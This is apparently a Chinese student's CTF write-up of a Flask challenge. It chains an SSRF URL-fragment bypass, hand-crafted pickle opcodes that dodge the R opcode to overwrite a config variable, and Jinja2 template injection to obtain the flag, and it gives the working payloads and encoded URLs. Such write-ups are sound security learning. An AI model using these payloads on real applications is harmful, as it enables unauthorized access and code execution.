目录:
第五题:
一、自己做:
做了个der,,,
审计代码差远了,
二、不足&&学到的:
- 学习了python的反序列化+入门级别的绕过
- url中的#定位符后面的不解析,就像sql注入中的#注释符一样,好用的很,
- remot_addr()不可伪造,如果可能的话,只有通过路由来伪造,
- ssti的敏感词 不认识 没有看出来Temlpate 是ssti的敏感词
- ssti无回显试getflag
理一下思路:
通过get_url路由进行绕过,绕过remote_addr进入admin路由,然后不适用R操作码进行反序列化的变量覆盖, + ssti 得到 ****
三、学习WP:
思路学习:
源码如下:
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask,render_template
from flask import request
import urllib
import sys
import os
import pickle
import ctf_config
from jinja2 import Template
import base64
import io
app = Flask(__name__)
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("only __main__")
def get_domain(url):
if url.startswith('http://'):
url = url[7:]
if not url.find("/") == -1:
domain = url[url.find("@")+1:url.index("/",url.find("@"))]
else:
domain = url[url.find("@")+1:]
return domain
else:
return False
@app.route("/", methods=['GET'])
def index():
return render_template("index.html")
@app.route("/get_baidu", methods=['GET'])
def get_baidu():
url = request.args.get("url")
if(url == None):
return "please get url"
if(get_domain(url) == "www.baidu.com"):
content = urllib.request.urlopen(url).read()
return content
else:
return render_template('index.html')
@app.route("/admin", methods=['GET'])
def admin():
data = request.args.get("data")
if(data == None):
return "please get data"
ip = request.remote_addr
if ip != '127.0.0.1':
return redirect('index')
else:
name = base64.b64decode(data)
if b'R' in name:
return "no __reduce__"
name = RestrictedUnpickler(io.BytesIO(name)).load()
if name == "admin":
t = Template("Hello " + name)
else:
t = Template("Hello " + ctf_config.name)
return t.render()
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0', port=8000)
这是开始页面
1.绕过get_domain()
get_baidu这个路由,
@app.route("/get_baidu", methods=['GET'])
def get_baidu():
url = request.args.get("url")
if(url == None):
return "please get url"
if(get_domain(url) == "www.baidu.com"):
content = urllib.request.urlopen(url).read()
return content
else:
return render_template('index.html')
先进行了get_domain这个函数过滤这个有小讲一下这个get_domain()的。
2.绕过remote_addr() + #
然后读取 url 的内容,是学习班长的:
http://127.0.0.1:8080/admin#@www.baidu.com/
这样读取到定位符前边,就成功换路由了,这样我们就能够到了admin页面上去啦!!!。。。但是好像直接就能进去,,,哎呀不影响了。
这样不行,这里:
ssrf
ip = request.remote_addr
if ip != '127.0.0.1':
这个remote_addr不可伪造,限制了只能够是127.0.0.1 。网上也搜过了,无法伪造,如果可能的话也只能够通过路由来伪造,也就是这个题的考点,
这个也就是限制了只能够通过ssrf的方式来进行访问,
remote_addr相关知识。获取真是ip浏览器的ip
这个讲#的,。也就是相当于注释符吧,他说不会刷新页面只会存留一个历史记录,
然后就进去了,,班长的payload。
/get_baidu?url=http://127.0.0.1%3A8000/admin%23@www.baidu.com/
然后今来之后
name = base64.b64decode(data)
if b'R' in name:
return "no __reduce__"
name = RestrictedUnpickler(io.BytesIO(name)).load()
if name == "admin":
t = Template("Hello " + name)
else:
t = Template("Hello " + ctf_config.name)
return t.render()
不能用reduce来,那就用变量覆盖嘛,
3. 关于反序列化
关于python反序列化
方法一:exec的方法,(纯属为了复习opcode)
pychar搓出来的opcode码
b"cbuiltins\nexec\n(Vctf_config.name='{
{2*2}}'\ntR."
。。
艹了,大意了,,后面又R,忘求了,,,
方法二、一定有方法二的
算了,记不起来了,也没有找到,放一放吧,
班长这个方法不就是么,
b"c__main__\nctf_config\n}S'name'\nS'{
{1+1}}'\nsb."
和我上个方法差不多 d 指令是创造一个dict,这个s指令是添加一个dict元素,首先有个dict就可以了
。搜不到详细解释s操作码的文章,怎么用也能看明白,
其他方法够用了,这个方法放一放d和s之分而已
方法三:用这个变量覆盖的方法(后面的用的是这个方法):
直接变量覆盖,mian然后到py文件
手搓opcode码:
b"c__main__\nctf_config\n(Vname\nV{
{1}}\ndb."
如果兄弟萌没怎么看明白的话可以戳这个:这个的第三点有详细的解释。
然后,这里因为他是b64decode,所以我们先b64encode()一下,变成这样Y19fbWFpbl9fCmN0Zl9jb25maWcKKFZuYW1lClZ7ezF9fQpkYi4=
然后测试一下:get_baidu?url=http://127.0.0.1:8000/admin?data=Y19fbWFpbl9fCmN0Zl9jb25maWcKKFZuYW1lClZ7ezF9fQpkYi4=#@www.baidu.com/
然后这个编一下码,
????
然后测试 ssti 的poc:get_baidu?url=http%3A%2F%2F127.0.0.1%3A8000%2Fadmin?data=Y19fbWFpbl9fCmN0Zl9jb25maWcKKFZuYW1lClZ7ezF9fQpkYi4=%23%40www.baidu.com%2F
测试,发现成功了,
4. 接着做 python反序列化 + ssti
接下来就是ssti的问题了,这个就不再班门弄斧了,找个poc上去就行了。
结果不行,,网上那些poc不对,但是他又没有过滤啊,
那就可能是 位置不一样了,
看看
这是看这个:[].__class__.__base__.__subclasses__()
。。。。
黑脸,,
没有外显,怎么办,怎么办,,,
在我即将自暴自弃照抄 班长的WP的时候,我突然发现f12可以看到哎,,
然后我就,,,copy到文本文件里面,数数是第几个,,具体怎么数的就不说了,太笨了,试出来了,是第202个。。。。
终于找到了,没有过滤,好说,套上poc
换上就出了,
flag{Pyth0n_1s_th3_sec0nd_b3st_l4ngu4g3_1n_th3_w0r1d}